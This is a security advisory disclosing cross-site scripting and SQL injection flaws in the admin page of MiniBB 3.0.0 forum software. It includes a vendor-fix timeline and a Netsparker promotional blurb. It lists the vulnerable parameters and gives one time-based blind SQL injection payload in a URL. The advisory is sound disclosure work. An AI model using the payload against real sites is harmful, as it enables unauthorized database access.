MiniBB 3.0.0 Cross Site Scripting / SQL Injection

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Description : MiniBB version 3.0.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

Author : Omar Kurt

Source : MiniBB 3.0.0 Cross Site Scripting / SQL Injection ? Packet Storm

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Information
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Name :  XSS and SQL Injection Vulnerabilities in MiniBB
Software :  MiniBB 3.0.0 and possibly below.
Vendor Homepage :  http://www.minibb.com
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Omar Kurt
Advisory Reference :  NS-13-002

Description
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miniBB® is a standalone, open source program for building your own Internet
forum, and it's free to download. Comparing to the other forum software
available on the market, miniBB just brings what it's created for: an easy,
lite, and speedy quick forum.

Details
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MiniBB is affected by XSS and SQL Injection vulnerabilities in version
3.0.0.

XSS: http://example.com/bb_admin.php (GET - params: forum_name,
forum_group, forum_icon, whatus, forum_desc)
SQL Injection:
http://example.com/bb_admin.php?action=searchusers2&searchus=id&whatus='+(SELECT1
FROM (SELECT SLEEP(25))A)+'
You can read the full article about Cross-Site Scripting and SQL Injection
vulnerabilities from here :
Cross-site Scripting (XSS):
https://www.mavitunasecurity.com/crosssite-scripting-xss/
SQL Injection: https://www.mavitunasecurity.com/sql-injection/

Solution
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Advisory Timeline
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26/02/2013 - First contact
15/03/2013 - Fix & New MiniBB version released
11/07/2013 - Advisory released

Credits
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It has been discovered on testing of Netsparker Web Application Security
Scanner.

References
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Vendor Url / Patch :
http://www.minibb.com/forums/news-9/minibb-3.0.1-released-stable-fixed-secured-dedicated-6059.html
MSL Advisory Link :
https://www.mavitunasecurity.com/xss-and-sql-injection-vulnerabilities-in-minibb/
Netsparker Advisories :
https://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
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Netsparker® can find and report security issues such as SQL Injection and
Cross-site Scripting (XSS) in all web applications regardless of the
platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, http://www.mavitunasecurity.com/netsparker-advisories/